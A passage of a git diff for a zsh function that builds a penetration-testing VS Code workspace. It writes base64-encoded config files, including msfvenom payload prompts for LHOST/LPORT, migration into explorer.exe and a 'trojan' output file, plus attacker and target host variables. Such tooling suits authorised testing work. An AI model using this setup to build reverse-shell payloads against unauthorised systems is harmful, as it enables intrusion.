gICJtc2kiLAogICAgICAgICAgICAgICAgInB5dGhvbi1yZWZsZWN0aW9uIiwKICAgICAgICAgICAgICAgICJ2YmEiLAogICAgICAgICAgICAgICAgInZiYS1leGUiLAogICAgICAgICAgICAgICAgInZiYS1wc2giLAogICAgICAgICAgICAgICAgInZicyIsCiAgICAgICAgICAgIF0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgImlkIjogIm1zZnZlbm9tLWxob3N0IiwKICAgICAgICAgICAgInR5cGUiOiAicHJvbXB0U3RyaW5nIiwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkVudGVyIHRoZSBMSE9TVCIsCiAgICAgICAgICAgICJkZWZhdWx0IjogIjEwLjEwLiIsCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJpZCI6ICJtc2Z2ZW5vbS1scG9ydCIsCiAgICAgICAgICAgICJ0eXBlIjogInByb21wdFN0cmluZyIsCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJFbnRlciB0aGUgTFBPUlQiLAogICAgICAgICAgICAiZGVmYXVsdCI6ICI2Nzg5IiwKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgImlkIjogIm1zZnZlbm9tLXBheWxvYWQtYWR2YW5jZWQtb3B0aW9ucyIsCiAgICAgICAgICAgICJ0eXBlIjogInBpY2tTdHJpbmciLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRW50ZXIgdGhlIGFkdmFuY2VkIG9wdGlvbnMiLAogICAgICAgICAgICAiZGVmYXVsdCI6ICIiLAogICAgICAgICAgICAib3B0aW9ucyI6IFsKICAgICAgICAgICAgICAgICIiLAogICAgICAgICAgICAgICAgIlByZXBlbmRNaWdyYXRlPXRydWUgUHJlcGVuZE1pZ3JhdGVQcm9jPWV4cGxvcmVyLmV4ZSIsCiAgICAgICAgICAgICAgICAiUHJlcGVuZEZvcms9dHJ1ZSIsCiAgICAgICAgICAgICAgICAiUHJlcGVuZFNldHVpZD10cnVlIiwKICAgICAgICAgICAgICAgICJQcmVwZW5kU2V0dWlkPXRydWUgUHJlcGVuZEZvcms9dHJ1ZSIsCiAgICAgICAgICAgIF0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgImlkIjogIm1zZnZlbm9tLW91dHB1dCIsCiAgICAgICAgICAgICJ0eXBlIjogInByb21wdFN0cmluZyIsCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJFbnRlciB0aGUgb3V0cHV0IGZpbGVuYW1lLiBpZiB5b3UgcHV0IC9kZXYvc3Rkb3V0IGhlcmUsIHRoZSBvdXRwdXQgd2lsbCBiZSBwcmludGVkIHRvIHRoZSB0ZXJtaW5hbCIsCiAgICAgICAgICAgICJkZWZhdWx0IjogIiR7d29ya3NwYWNlRm9sZGVyfS90cm9qYW4iLAogICAgICAgIH0KICAgIF0KfQ==' | base64 -d > $1/.vscode/tasks.json
5353
5454 # .vscode/env.zsh
5555 echo ' ZXhwb3J0IFJIT1NUPTEwLjEwLlguWApleHBvcnQgTEhPU1Q9MTAuMTAuWC5YCmV4cG9ydCBMUE9SVD02Nzg5CmV4cG9ydCBET01BSU49CgoKIyMgc2V0IHN5c3RlbWJhc2VkIHNldHRpbmdzCmV4cG9ydCBUQVJHRVQ9JHtET01BSU46LSR7UkhPU1R9fSAjIHRhcmdldCBpcyBIT1NUCgpleHBvcnQgSVA9JHtSSE9TVH0gIyBhbGlhcyByaG9zdApleHBvcnQgaXA9JHtJUH0gIyBhbGlhcyBhcyBJUAoKZXhwb3J0IFBST0pFQ1RfV0VCX0RFTElWRVJZPSRQUk9KRUNUX0ZPTERFUi8ud2ViLWRlbGl2ZXJ5ICMgd2ViLWRlbGl2ZXJ5IGlzIGEgZm9sZGVyIGluIFBST0pFQ1RfRk9MREVSCnVuc2V0IFNTU19MT0FERUQgIyBtYWtlIHN1cmUgc3NzIGluaXQgc2hlbGwgaXMgbm90IHNldAoKIyBpZiB5b3UgbmVlZCB0byBzZXQgZnVuY3Rpb25zIGRlZmluaXRpb25zLCB5b3UgY2FuIGRvIGl0IGhlcmUKIyBzb3VyY2UgJFBST0pFQ1RfRk9MREVSLy52c2NvZGUvdXRpbHMuenNo' | base64 -d > $1 /.vscode/env.zsh
5656
57+ echo " source.zsh" > $1 /.vscode/.gitignore
58+ echo " source*.zsh" >> $1 /.vscode/.gitignore
59+
5760 echo " Generate Success" " Launched VSCode"
5861 code $1
5962}
@@ -62,4 +65,4 @@ weapon_vscode () {
6265alias createhackenv=weapon_vscode
6366alias createhack=weapon_vscode
6467
65- # Script Hash: 2ac1b5c9ab4545d52df6fa05c64da92a2e8bfe442be8433c80fad25f3a1331aa
68+ # Script Hash: 7908e06b056f6fb1d8d120c07550c83664f63ea591954febeea245ce9d685bb4
0 commit comments